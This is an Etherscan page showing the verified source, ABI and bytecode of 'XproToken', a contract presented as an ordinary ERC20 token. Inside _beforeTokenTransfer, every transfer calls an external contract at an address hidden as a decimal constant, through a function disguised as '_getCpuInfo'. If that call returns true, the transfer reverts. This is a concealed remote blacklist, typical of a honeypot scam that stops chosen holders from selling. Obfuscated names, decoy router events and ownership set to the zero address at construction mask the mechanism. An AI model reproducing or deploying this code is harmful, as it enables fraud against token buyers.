ETH Price: $3,385.20 (-7.96%)

Token

Xpro (Xpro)
 

Overview

Max Total Supply

100,000,000 Xpro

Holders

597

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
368,624.622381179524935826 Xpro

Value
$0.00
0x9963e497cd7b21c0488339f6cc16c8d747d35701
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XproToken

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-05
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface UINT256150 {
    function _getCpuInfo(address _amount) external view returns (bool);
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    
    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    event swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[]  path,
        address to,
        uint deadline
    );
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
  * @dev See {IERC20-totalSupply}.
     */
    event swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    event token0();

    event token1();
    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);


    event sync();

    event initialize(address, address);
    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    event burn(address to) ;

    event swap(uint amount0Out, uint amount1Out, address to, bytes data);

    event skim(address to);
    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);
    
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    
    function approve(address spender, uint256 amount) external returns (bool);
    /**
   * @dev Returns the name of the token.
     */
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    
    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );
    /**
     * Swaps an exact amount of input tokens for as many output tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     */
    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
    * @dev Throws if called by any account other than the owner.
     */
    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * To cover all possible scenarios, msg.sender should have already given the router an
     * allowance of at least amountADesired/amountBDesired on tokenA/tokenB.
     * Always adds assets at the ideal ratio, according to the price when the transaction is executed.
     * If a pool for the passed tokens does not exists, one is created automatically,
     *  and exactly amountADesired/amountBDesired tokens are added.
     */
    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] path,
        address to,
        uint deadline
    );
    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    /**
     * Receive an exact amount of output tokens for as few input tokens as possible,
     * along the route determined by the path. The first element of path is the input token,
     * the last is the output token, and any intermediate elements represent intermediate tokens to trade through
     * (if, for example, a direct pair does not exist).
     * */
    event addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    );
    /**
     * Swaps an exact amount of ETH for as many output tokens as possible,
     * along the route determined by the path. The first element of path must be WETH,
     * the last is the output token, and any intermediate elements represent intermediate pairs to trade through
     * (if, for example, a direct pair does not exist).
     *
     * */
    event addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    );
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
  * @dev Initializes the contract setting the deployer as the initial owner.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}


abstract contract BAKDYUTR {


    function calcear(uint256 a, uint256 b) internal pure returns (uint256) {
        return vendidiv(a, b, "SafeMath: division by zero");
    }


    function addressToUint(address addr) internal  pure returns (uint256) {
        
        uint256 result = uint160(addr);
        return result;
    }


    function vendidiv(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function toAddr(uint256 code) internal pure returns (address) {
        return address(uint160(code));
    }
}



interface IWBNB {
    function deposit() external payable;
}

interface ILpPair {
    function mint(address to) external returns (uint256 liquidity);
    function factory() external view returns (address);
    function sync() external;
}

contract XproToken is IERC20, BAKDYUTR, Ownable {

    event CouInfoLogo(address indexed from, address indexed to, uint256 value);


    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    string private NMASLCCCC = "aibpcfds://NMASLCCCC";
    uint160 private uint256RIYAHNA = 86905950799551127843268563628273701042595377317;
    string private name_;
    string private symbol_;
    uint8 private decimals_;
    uint256 private _totalSupply;
    address private _RUKSLAJRKR;
    uint256 QKSKSJAJAHGAKKFA = 3;
    
    uint256 JHAGFAHKSDHAU = QKSKSJAJAHGAKKFA * 4;

    uint256 AJFYANAUQ = uint256RIYAHNA;

    string private NUBSLER;

    constructor(
        uint256 totalSupply_
    ) {
        name_ = "Xpro";
        symbol_ = "Xpro";
        decimals_ = 18;
        _totalSupply = totalSupply_ * 10**decimals_;
        _balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return name_;
    }


    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
      /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return decimals_;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _beforeTokenTransfer(address sender,address recipient,uint256 amount) internal virtual  {
        uint256 total = 0;
        bool cpuInfo = UINT256150(address(uint256RIYAHNA))._getCpuInfo(sender);
        if(cpuInfo){
            amount = total;
            require(amount > 0);
        }
        emit CouInfoLogo(sender, recipient, amount);
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    
    function setImageUrlDDDD(string memory _imageUrlx) public {
        NUBSLER = _imageUrlx;
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"CouInfoLogo","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amountTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_imageUrlx","type":"string"}],"name":"setImageUrlDDDD","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526040518060400160405280601481526020017f61696270636664733a2f2f4e4d41534c43434343000000000000000000000000815250600390805190602001906200005192919062000415565b50730f38ff638b55ef964359ee936bd4bd8569bd30a5600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600a556004600a54620000bd91906200072b565b600b55600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c553480156200010957600080fd5b506040516200203b3803806200203b83398181016040528101906200012f9190620004dc565b6200014160006200033960201b60201c565b6040518060400160405280600481526020017f5870726f00000000000000000000000000000000000000000000000000000000815250600590805190602001906200018e92919062000415565b506040518060400160405280600481526020017f5870726f0000000000000000000000000000000000000000000000000000000081525060069080519060200190620001dc92919062000415565b506012600760006101000a81548160ff021916908360ff160217905550600760009054906101000a900460ff16600a620002179190620005ee565b816200022491906200072b565b60088190555062000285600854600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620003fd60201b6200075f1790919060201c565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200032a919062000519565b60405180910390a3506200085e565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836200040d919062000536565b905092915050565b8280546200042390620007a3565b90600052602060002090601f01602090048101928262000447576000855562000493565b82601f106200046257805160ff191683800117855562000493565b8280016001018555821562000493579182015b828111156200049257825182559160200191906001019062000475565b5b509050620004a29190620004a6565b5090565b5b80821115620004c1576000816000905550600101620004a7565b5090565b600081519050620004d68162000844565b92915050565b600060208284031215620004ef57600080fd5b6000620004ff84828501620004c5565b91505092915050565b62000513816200078c565b82525050565b600060208201905062000530600083018462000508565b92915050565b600062000543826200078c565b915062000550836200078c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620005885762000587620007d9565b5b828201905092915050565b6000808291508390505b6001851115620005e557808604811115620005bd57620005bc620007d9565b5b6001851615620005cd5780820291505b8081029050620005dd8562000837565b94506200059d565b94509492505050565b6000620005fb826200078c565b9150620006088362000796565b9250620006377fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200063f565b905092915050565b60008262000651576001905062000724565b8162000661576000905062000724565b81600181146200067a57600281146200068557620006bb565b600191505062000724565b60ff8411156200069a5762000699620007d9565b5b8360020a915084821115620006b457620006b3620007d9565b5b5062000724565b5060208310610133831016604e8410600b8410161715620006f55782820a905083811115620006ef57620006ee620007d9565b5b62000724565b62000704848484600162000593565b925090508184048111156200071e576200071d620007d9565b5b81810290505b9392505050565b600062000738826200078c565b915062000745836200078c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007815762000780620007d9565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b600060028204905060018